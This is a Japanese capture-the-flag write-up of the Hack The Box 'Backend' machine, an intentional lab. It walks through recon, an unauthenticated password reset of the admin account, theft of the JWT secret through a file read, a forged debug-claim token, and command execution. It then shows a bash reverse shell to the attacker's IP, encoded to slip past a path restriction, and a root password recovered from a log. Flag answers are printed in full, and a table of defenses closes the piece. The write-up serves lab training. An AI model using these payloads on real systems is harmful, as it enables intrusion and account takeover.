Hack The BoxのWriteup(Backend)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Backend — 全実行コマンド・実行結果レポート
Nmap スキャン
SSH(22)+uvicorn(80)
signup/login
JWT取得
SecretFlagEndpoint
直接 user.txt 取得
updatepass 認証漏れ
admin パスワード強制リセット
/proc/self/environ
JWT_SECRET 漏洩
JWT 自前偽造
debug=true クレーム注入
exec RCE
urlsafe_b64 でスラッシュ回避
htb シェル
user.txt ✓
auth.log
パスワード誤入力痕跡
su –
root.txt ✓

ポートスキャン

BASH
nmap -p- --min-rate 500 -T4 10.129.227.148
nmap -sV -sC -p 22,80 10.129.227.148
RESULT
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    uvicorn
BASH
curl -s http://10.129.227.148/
RESULT
{"msg":"UHC API Version 1.0"}
ℹ️
BackendTwo (v2.0) と同じ著者・同系統のFastAPI製APIだが、こちらは v1.0で脆弱性クラスが異なる。エンドポイント構造も少し異なる。

API エンドポイント列挙

BASH
feroxbuster -u http://10.129.227.148/api --force-recursion
RESULT
200  GET  /api
200  GET  /api/v1
307  GET  /api/v1/admin => /api/v1/admin/
405  GET  /api/v1/admin/file
401  GET  /docs
BASH (/api/v1/user 配下の列挙)
feroxbuster -u http://10.129.227.148/api/v1/user -C 404,405 -m GET,POST -S 4,104
RESULT
422  POST  /api/v1/user/login
200  GET   /api/v1/user/1
200  GET   /api/v1/user/2
422  POST  /api/v1/user/signup
PHASE 2

ユーザー登録 & SecretFlagEndpoint で即座に user.txt

ユーザー登録・ログイン

BASH
curl -s -X POST -d '{"email": "pwn3r@backend.htb", "password": "Pwn3rPass123!"}' \
  http://10.129.227.148/api/v1/user/signup -H "Content-Type: application/json"

curl -s -d 'username=pwn3r@backend.htb&password=Pwn3rPass123!' \
  http://10.129.227.148/api/v1/user/login | jq .
RESULT
{"access_token": "eyJhbGciOiJIUzI1NiIs...", "token_type": "bearer"}

SecretFlagEndpoint — admin権限不要で直接 user.txt

NOTE
Swaggerドキュメント(/docs)を見ると "Get Flag" (GET /api/v1/user/SecretFlagEndpoint)
というエンドポイントがある。要認証だが、admin権限やdebug権限は一切要求しない。
本来はデバッグ用に残された設計ミスと思われる。
BASH
curl -s http://10.129.227.148/api/v1/user/SecretFlagEndpoint \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIs..."
RESULT
"13e9d2e7940be57b01e4e9f3f8e5ad3d"
user.txt (SecretFlagEndpoint経由)
13e9d2e7940be57b01e4e9f3f8e5ad3d
これだけでuser.txtが取得できる。 ただしこの後もroot昇格のために シェルアクセスが必要なため、admin権限奪取からのRCEフローに進む。
PHASE 3

認証チェック漏れの updatepass で admin 乗っ取り

admin の guid を無認証で取得

BASH
curl -s http://10.129.227.148/api/v1/user/1 | jq .
RESULT
{
  "guid": "36c2e94a-4271-4259-93bf-c96ad5948284",
  "email": "admin@htb.local",
  "is_superuser": true,
  "id": 1
}

updatepass — 実は認証不要で呼び出せる

NOTE
Swaggerドキュメント上「Update Password」(POST /api/v1/user/updatepass) は鍵アイコンが
無く、実際に試すと認証ヘッダー無しでも 201 Created が返る。設計上は自分のパスワードを
guidで指定して変更する想定だったと思われるが、呼び出し元が誰であるかのチェックが
実装から漏れており、任意ユーザー(admin含む)のguidを指定してパスワードを
強制的に書き換えられる。
BASH
curl -s -X POST http://10.129.227.148/api/v1/user/updatepass \
  -H "Content-Type: application/json" \
  -d '{"guid": "36c2e94a-4271-4259-93bf-c96ad5948284", "password": "Pwn3dAdmin123!"}'
RESULT
HTTP/1.1 201 Created
🚨
認証バイパスによる完全なアカウント乗っ取り。 adminの新パスワードでログインし直す。
BASH
curl -s -d 'username=admin@htb.local&password=Pwn3dAdmin123!' \
  http://10.129.227.148/api/v1/user/login | jq -r .access_token
新しいトークンは "is_superuser": true を含む。 GET /api/v1/admin/ にこのトークンでアクセスすると true が返る。
PHASE 4

JWT秘密鍵漏洩・debugクレーム偽造・スラッシュ制約回避RCE

admin file-read で JWT_SECRET を回収

BASH (/proc/self/environでアプリの作業ディレクトリを特定)
curl -s 'http://10.129.227.148/api/v1/admin/file' \
  -H "Authorization: Bearer $ADMIN_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"file": "/proc/self/environ"}' | jq -r '.file' | tr '\000' '\n' | grep PWD
RESULT
PWD=/home/htb/uhc
BASH (config.pyを読みJWT_SECRETを回収)
curl -s 'http://10.129.227.148/api/v1/admin/file' \
  -H "Authorization: Bearer $ADMIN_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"file": "/home/htb/uhc/app/core/config.py"}' | jq -r '.file'
RESULT
JWT_SECRET: str = "SuperSecretSigningKey-HTB"
ALGORITHM: str = "HS256"

debug=true クレームを注入した JWT を自前署名

PYTHON
import jwt
token  = "<is_superuser=true の admin トークン>"
secret = "SuperSecretSigningKey-HTB"

decoded = jwt.decode(token, secret, algorithms=["HS256"],
                      options={"verify_iat": False})  # 時計ドリフト対策
decoded["debug"] = True
forged = jwt.encode(decoded, secret, "HS256")
print(forged)
⚠️
jwt.decodeはデフォルトでiat(発行時刻)クレームも検証する。 サンドボックス/検証環境のシステムクロックが実際のトークン発行時刻より わずかに遅れていると"The token is not yet valid (iat)"で失敗するため、 options={"verify_iat": False}を明示しておくと安全。
BASH (動作確認)
curl -s http://10.129.227.148/api/v1/admin/exec/id -H "Authorization: Bearer $FORGED_TOKEN"
RESULT
"uid=1000(htb) gid=1000(htb) groups=1000(htb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)\n"

リバースシェル — 単一パスセグメント制約の回避

NOTE
GET /api/v1/admin/exec/{command} の {command} はFastAPIの単一パスセグメント
パラメータ。コマンド文字列に生の "/" を含めると、そこで別のルートとして
解釈されルーティング自体が壊れてしまう(標準base64のアルファベットには
"/" や "+" が含まれるため単純なbase64エンコードでは回避できないことがある)。
base64.urlsafe_b64encode ("/" "+" を一切出力しないURL安全な亜種) で
ペイロードをエンコードし、ターゲット側は python3 の
urlsafe_b64decode でそのままデコードすれば、送信するコマンド文字列自体に
"/" を一文字も含めずに済む。
PYTHON (ペイロード生成)
import base64, urllib.parse

rev_shell = "bash -c 'bash -i >& /dev/tcp/10.10.15.200/4446 0>&1'"
b64 = base64.urlsafe_b64encode(rev_shell.encode()).decode()
command = (
    'python3 -c "import base64,os;'
    f"os.system(base64.urlsafe_b64decode('{b64}').decode())\""
)
assert "/" not in command   # 送信前に機械的に保証
quoted = urllib.parse.quote(command, safe="")
print(f"http://10.129.227.148/api/v1/admin/exec/{quoted}")
BASH
nc -lnvp 4446 &
curl -s "http://10.129.227.148/api/v1/admin/exec/python3%20-c%20..." \
  -H "Authorization: Bearer $FORGED_TOKEN"
RESULT (nc リスナー側)
listening on [any] 4446 ...
connect to [10.10.15.200] from ... 51556
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
htb@backend:~/uhc$ cat user.txt
13e9d2e7940be57b01e4e9f3f8e5ad3d
user.txt — htb
13e9d2e7940be57b01e4e9f3f8e5ad3d
RCE成功! htbユーザーとしてシェルを確立。
PHASE 5

auth.log のパスワード誤入力痕跡 → su → root.txt

auth.log からパスワード誤入力の痕跡を発見

BASH
htb@backend:~/uhc$ cat auth.log
RESULT
04/11/2022, 22:09:45 - Login Success for admin@htb.local
04/11/2022, 22:18:05 - Login Failure for Tr0ub4dor&3
04/11/2022, 22:19:40 - Login Success for admin@htb.local
...
04/11/2022, 22:55:27 - Login Success for root@ippsec.rocks
⚠️
"Tr0ub4dor&3"はメールアドレス形式ではなく、他のログイン試行と 性質が異なる。誰か(おそらくroot管理者自身)が誤ってユーザー名欄に 自分のパスワードを入力してログイン失敗した痕跡と推測できる。 このボックスではこれがOSレベルのrootパスワードとして機能する。

su で root 昇格 → root.txt

BASH
htb@backend:~/uhc$ su -
Password: Tr0ub4dor&3
root@backend:~# cat root.txt
RESULT
68e2d155fa3da1c0de12981f32cd8c86
root.txt
68e2d155fa3da1c0de12981f32cd8c86
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — htb
13e9d2e7940be57b01e4e9f3f8e5ad3d
root.txt
68e2d155fa3da1c0de12981f32cd8c86

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
過剰な情報開示 GET /api/v1/user/SecretFlagEndpoint 要認証のみで一般ユーザーがuser.txtを取得可能 Medium admin権限やdebug権限を一切要求しないデバッグ用エンドポイントがそのまま公開されている
認証チェック漏れ (Broken Access Control) POST /api/v1/user/updatepass 任意ユーザー(admin含む)のパスワード強制変更 Critical 本来admin専用または本人限定の想定だが呼び出し元の権限チェックが実装から抜け落ちており誰でも呼び出せる
JWT署名鍵の漏洩 /proc/self/environ + app/core/config.py 任意クレームを持つJWTの偽造 Critical admin権限で使えるファイル読み取り機能を使い、アプリのソースコードに直書きされた署名鍵を読み出す
debugクレーム偽造によるRCE GET /api/v1/admin/exec/{command} htbユーザーとしての任意コード実行 Critical 漏洩した署名鍵でdebug:trueクレームを追加した「正規の」JWTを自前発行し、デバッグ専用のコマンド実行エンドポイントを起動
パスワード誤入力ログの残留 ~/uhc/auth.log rootパスワードの平文漏洩 High アプリ独自のログイン失敗ログに、ユーザー名欄への入力ミスで平文パスワードがそのまま記録され、OSアカウントのパスワードと一致する

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + feroxbusteruvicorn API構成、/api/v1 エンドポイント一覧
2フラグ直接取得SecretFlagEndpointuser.txt (即座に取得可能)
3権限昇格 (API内)updatepass 認証チェック漏れadmin のパスワード奪取・is_superuser JWT
4秘密鍵漏洩+RCEファイル読取+JWT偽造+urlsafe_b64シェルhtb シェル (user.txt 再確認)
5権限昇格auth.log パスワード誤入力 + suroot.txt

学んだ教訓 & 防御策

問題点防御策
デバッグ用に作られたと思われるエンドポイントが認証のみで本番環境に公開されたまま残っている デバッグ/テスト用エンドポイントは環境変数等でビルド時に完全に除外するか、追加の管理者権限チェックを必ず付与する。
パスワード変更APIが呼び出し元の身元確認(本人確認・admin確認)を実装しておらず、guidを知るだけで任意アカウントを乗っ取れる パスワード変更は必ず現在ログイン中のユーザー自身のセッション/トークンに紐づくアカウントのみを対象にし、他者のguidを受け付けるAPI設計自体を避ける。
JWT署名鍵がソースコードにハードコードされ、admin権限からのファイル読取で漏洩する 署名鍵は環境変数・シークレット管理サービスから取得し、ソースコードや設定ファイルに直接埋め込まない。管理者向けファイル読取機能はアプリのソースディレクトリへのアクセスを禁止する。
署名鍵さえ漏れれば任意のクレーム(debugフラグ等)を追加した「正規の」JWTを攻撃者が自由に発行できる クレームのスキーマをサーバ側で厳密に検証し、未知のクレームは無視/拒否する。認可判定はJWTの中身だけでなくDB側の最新状態とも突き合わせる。
アプリ独自のログイン失敗ログに、ユーザーの入力ミスとはいえ平文パスワードがそのまま記録される、かつOSアカウントとパスワードを使い回している ログに機微情報が記録されないよう入力値のサニタイズ・マスキングを徹底する。アプリケーションアカウントとOSアカウントのパスワードは完全に分離し使い回さない。
HackTheBox: Backend | 完全攻略レポート